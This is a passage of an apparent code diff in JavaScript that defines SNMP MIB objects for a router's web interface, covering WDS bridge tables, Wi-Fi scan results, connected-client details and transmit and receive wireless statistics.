arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx; + +var WDSBridgeTable = new Table("WDSBridgeTable", "1.3.6.1.4.1.4115.1.20.1.1.3.31.3"); +WDSBridgeTable.WDSBridgeIndex = new Column("WDSBridgeIndex","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1",2); +WDSBridgeTable.WDSBridgeAddr = new Column("WDSBridgeAddr","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2",4,1); +WDSBridgeTable.WDSBridgeStatus = new Column("WDSBridgeStatus","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3",2); +var arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex; +var arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr; +var arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus; + +var WiFiScan = new Container("WiFiScan", "1.3.6.1.4.1.4115.1.20.1.1.3.39"); +WiFiScan.WiFiStartScan= new Scalar("WiFiStartScan","1.3.6.1.4.1.4115.1.20.1.1.3.39.1",2); +WiFiScan.WiFiScanResult= new Scalar("WiFiScanResult","1.3.6.1.4.1.4115.1.20.1.1.3.39.2",2); +var arWiFiStartScan=WiFiScan.WiFiStartScan; +var arWiFiScanResult=WiFiScan.WiFiScanResult; + +var WiFiScanResultTable = new Table("WiFiScanResultTable", "1.3.6.1.4.1.4115.1.20.1.1.3.39.3"); +WiFiScanResultTable.WiFiScanIndex = new Column("WiFiScanIndex","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1",66); +WiFiScanResultTable.WiFiScanSSID = new Column("WiFiScanSSID","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2",4,1); +WiFiScanResultTable.WiFiScanChannel = new Column("WiFiScanChannel","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3",66); +WiFiScanResultTable.WiFiScanChannel2 = new Column("WiFiScanChannel2","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4",66); +WiFiScanResultTable.WiFiScanRSSI = new Column("WiFiScanRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5",2); +WiFiScanResultTable.WiFiScanNoise = new Column("WiFiScanNoise","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6",2); +WiFiScanResultTable.WiFiScanMAC = new Column("WiFiScanMAC","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7",4,1); +WiFiScanResultTable.WiFiScanMfg = new Column("WiFiScanMfg","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8",4); +WiFiScanResultTable.WiFiScanSupportedRates = new Column("WiFiScanSupportedRates","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9",4); +var arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex; +var arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID; +var arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel; +var arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2; +var arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI; +var arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise; +var arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC; +var arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg; +var arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates; + +var WiFiClientInfoTable = new Table("WiFiClientInfoTable", "1.3.6.1.4.1.4115.1.20.1.1.3.42"); +WiFiClientInfoTable.WiFiClientInfoIndex = new Column("WiFiClientInfoIndex","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1",2); +WiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column("WiFiClientInfoIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2",2); +WiFiClientInfoTable.WiFiClientInfoIPAddr = new Column("WiFiClientInfoIPAddr","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3",4,1); +WiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column("WiFiClientInfoIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4",4); +WiFiClientInfoTable.WiFiClientInfoHostName = new Column("WiFiClientInfoHostName","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5",4); +WiFiClientInfoTable.WiFiClientInfoMAC = new Column("WiFiClientInfoMAC","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6",4,1); +WiFiClientInfoTable.WiFiClientInfoMACMfg = new Column("WiFiClientInfoMACMfg","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7",4); +WiFiClientInfoTable.WiFiClientInfoStatus = new Column("WiFiClientInfoStatus","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8",2); +WiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column("WiFiClientInfoFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9",4,1); +WiFiClientInfoTable.WiFiClientInfoLastSeen = new Column("WiFiClientInfoLastSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10",4,1); +WiFiClientInfoTable.WiFiClientInfoIdleTime = new Column("WiFiClientInfoIdleTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11",2); +WiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column("WiFiClientInfoInNetworkTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12",2); +WiFiClientInfoTable.WiFiClientInfoState = new Column("WiFiClientInfoState","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13",4); +WiFiClientInfoTable.WiFiClientInfoFlags = new Column("WiFiClientInfoFlags","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14",4,1); +WiFiClientInfoTable.WiFiClientInfoTxPkts = new Column("WiFiClientInfoTxPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15",2); +WiFiClientInfoTable.WiFiClientInfoTxFailures = new Column("WiFiClientInfoTxFailures","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16",2); +WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column("WiFiClientInfoRxUnicastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17",2); +WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column("WiFiClientInfoRxMulticastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18",2); +WiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column("WiFiClientInfoLastTxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19",2); +WiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column("WiFiClientInfoLastRxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20",2); +WiFiClientInfoTable.WiFiClientInfoRateSet = new Column("WiFiClientInfoRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21",4,1); +WiFiClientInfoTable.WiFiClientInfoRSSI = new Column("WiFiClientInfoRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22",2); +var arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex; +var arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType; +var arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr; +var arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual; +var arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName; +var arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC; +var arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg; +var arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus; +var arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen; +var arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen; +var arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime; +var arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime; +var arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState; +var arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags; +var arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts; +var arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures; +var arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts; +var arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts; +var arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate; +var arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate; +var arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet; +var arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI; + +var AdvanceWirelessStats = new Container("AdvanceWirelessStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46"); +AdvanceWirelessStats.ResetCount= new Scalar("ResetCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.5",2); +AdvanceWirelessStats.TBTTCount= new Scalar("TBTTCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.6",2); +AdvanceWirelessStats.PMQOverflowCount= new Scalar("PMQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.7",2); +AdvanceWirelessStats.PRTimeoutDropCount= new Scalar("PRTimeoutDropCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.8",2); +AdvanceWirelessStats.PSMWatchdogCount= new Scalar("PSMWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.9",2); +AdvanceWirelessStats.PHYWatchdogCount= new Scalar("PHYWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.10",2); +AdvanceWirelessStats.PRQEntriesHandled= new Scalar("PRQEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.11",2); +AdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar("PRQUndirectedEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.12",2); +AdvanceWirelessStats.PRQBadEntriesHandled= new Scalar("PRQBadEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.13",2); +AdvanceWirelessStats.ATIMSuppressCount= new Scalar("ATIMSuppressCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.14",2); +AdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar("BCNTemplateNotReadyCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.15",2); +AdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar("BCNTemplateNotReadyDoneCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.16",2); +AdvanceWirelessStats.LateTBTTDPCCount= new Scalar("LateTBTTDPCCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.17",2); +AdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar("PktEngineUnicastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.18",2); +AdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar("PktEngineMulticastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.19",2); +AdvanceWirelessStats.RadioDisablesCount= new Scalar("RadioDisablesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.20",2); +AdvanceWirelessStats.BPHYGlitchCount= new Scalar("BPHYGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.21",2); +AdvanceWirelessStats.SGITransmitCount= new Scalar("SGITransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.22",2); +AdvanceWirelessStats.SGIReceiveCount= new Scalar("SGIReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.23",2); +AdvanceWirelessStats.STBCTransmitCount= new Scalar("STBCTransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.24",2); +AdvanceWirelessStats.STBCReceiveCount= new Scalar("STBCReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.25",2); +var arResetCount=AdvanceWirelessStats.ResetCount; +var arTBTTCount=AdvanceWirelessStats.TBTTCount; +var arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount; +var arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount; +var arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount; +var arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount; +var arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled; +var arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled; +var arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled; +var arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount; +var arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount; +var arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount; +var arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount; +var arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount; +var arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount; +var arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount; +var arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount; +var arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount; +var arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount; +var arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount; +var arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount; + +var AdvanceWirelessStatsXmit = new Container("AdvanceWirelessStatsXmit", "1.3.6.1.4.1.4115.1.20.1.1.3.46.1"); +AdvanceWirelessStatsXmit.TxFrameCount= new Scalar("TxFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1",2); +AdvanceWirelessStatsXmit.TxBytesCount= new Scalar("TxBytesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2",2); +AdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar("TxRetransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3",2); +AdvanceWirelessStatsXmit.TxErrorCount= new Scalar("TxErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4",2); +AdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar("TxMgmtFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5",2); +AdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar("TxShortPreambleFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6",2); +AdvanceWirelessStatsXmit.TxStatusErrors= new Scalar("TxStatusErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7",2); +AdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar("TxOutOfBufsErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8",2); +AdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar("TxNoAssocErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9",2); +AdvanceWirelessStatsXmit.TxRuntCount= new Scalar("TxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10",2); +AdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar("TxHeaderCacheHit","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11",2); +AdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar("TxHeaderCacheMiss","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12",2); +AdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar("TxFIFOUnderflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13",2); +AdvanceWirelessStatsXmit.TxPhyErrors= new Scalar("TxPhyErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14",2); +AdvanceWirelessStatsXmit.TxPhyCRS= new Scalar("TxPhyCRS","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15",2); +AdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar("TxAllFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16",2); +AdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar("TxDMAWarCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17",2); +AdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar("TxRTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18",2); +AdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar("TxCTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19",2); +AdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar("TxAckFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20",2); +AdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar("TxDNLFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21",2); +AdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar("TxBeaconFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22",2); +AdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar("TxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23",4,1); +AdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar("TxTemplateUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24",2); +AdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar("TxBeaconsCanceledCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25",2); +AdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar("TxFIFOOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26",2); +AdvanceWirelessStatsXmit.TxPRFailures= new Scalar("TxPRFailures","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27",2); +AdvanceWirelessStatsXmit.TxPRSuccess= new Scalar("TxPRSuccess","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28",2); +AdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar("TxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29",2); +AdvanceWirelessStatsXmit.TxFragmentCount= new Scalar("TxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30",2); +AdvanceWirelessStatsXmit.TxMulticastCount= new Scalar("TxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31",2); +AdvanceWirelessStatsXmit.TxFailureCount= new Scalar("TxFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32",2); +AdvanceWirelessStatsXmit.TxRetryCount= new Scalar("TxRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33",2); +AdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar("TxMultipleRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34",2); +AdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar("TxRTSSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35",2); +AdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar("TxRTSFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36",2); +AdvanceWirelessStatsXmit.TxAckFailCount= new Scalar("TxAckFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37",2); +AdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar("TxFrameCountDot11","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38",2); +AdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar("TxChannelRejectFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39",2); +AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar("TxTimerExpirationFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40",2); +AdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar("TxGlitchNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41",2); +var arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount; +var arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount; +var arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount; +var arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount; +var arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames; +var arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames; +var arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors; +var arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors; +var arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors; +var arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount; +var arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit; +var arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss; +var arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows; +var arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors; +var arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS; +var arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount; +var arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount; +var arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount; +var arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount; +var arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount; +var arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount; +var arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount; +var arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount; +var arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount; +var arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount; +var arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows; +var arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures; +var arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess; +var arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount; +var arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount; +var arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount; +var arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount; +var arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount; +var arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount; +var arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount; +var arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount; +var arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount; +var arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11; +var arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount; +var arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount; +var arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount; + +var AdvanceWirelessStatsRecv = new Container("AdvanceWirelessStatsRecv", "1.3.6.1.4.1.4115.1.20.1.1.3.46.2"); +AdvanceWirelessStatsRecv.RxFrame= new Scalar("RxFrame","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1",2); +AdvanceWirelessStatsRecv.RxBytes= new Scalar("RxBytes","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2",2); +AdvanceWirelessStatsRecv.RxError= new Scalar("RxError","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3",2); +AdvanceWirelessStatsRecv.RxCtl= new Scalar("RxCtl","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4",2); +AdvanceWirelessStatsRecv.RxNoBufs= new Scalar("RxNoBufs","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5",2); +AdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar("RxNonDataErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6",2); +AdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar("RxBadDSErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7",2); +AdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar("RxBadCMErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8",2); +AdvanceWirelessStatsRecv.RxFragErrors= new Scalar("RxFragErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9",2); +AdvanceWirelessStatsRecv.RxRuntCount= new Scalar("RxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10",2); +AdvanceWirelessStatsRecv.RxGiantCount= new Scalar("RxGiantCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11",2); +AdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar("RxNoSCBErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12",2); +AdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar("RxBadProtoErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13",2); +AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar("RxBadSrcMACErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14",2); +AdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar("RxBadDAErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15",2); +AdvanceWirelessStatsRecv.RxFilterCount= new Scalar("RxFilterCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16",2); +AdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar("RxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17",4,1); +AdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar("RxFrameTooLongCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18",2); +AdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar("RxFrameTooShortCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19",2); +AdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar("RxBadHeaderCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20",2); +AdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar("RxBadFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21",2); +AdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar("RxBadPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22",2); +AdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar("RxRSGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23",2); +AdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar("RxGoodPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar("RxDataGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar("RxMgmtGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26",2); +AdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar("RxControlGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27",2); +AdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar("RxRTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28",2); +AdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar("RxCTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29",2); +AdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar("RxAcksGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar("RxDataGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar("RxMgmtGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32",2); +AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar("RxCTRLGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33",2); +AdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar("RxRTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34",2); +AdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar("RxCTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35",2); +AdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar("RxMulticastDataCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36",2); +AdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar("RxMulticastMgmtCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37",2); +AdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar("RxMulticastCtlCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38",2); +AdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar("RxMemberBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39",2); +AdvanceWirelessStatsRecv.RxWDSFrameCount= new 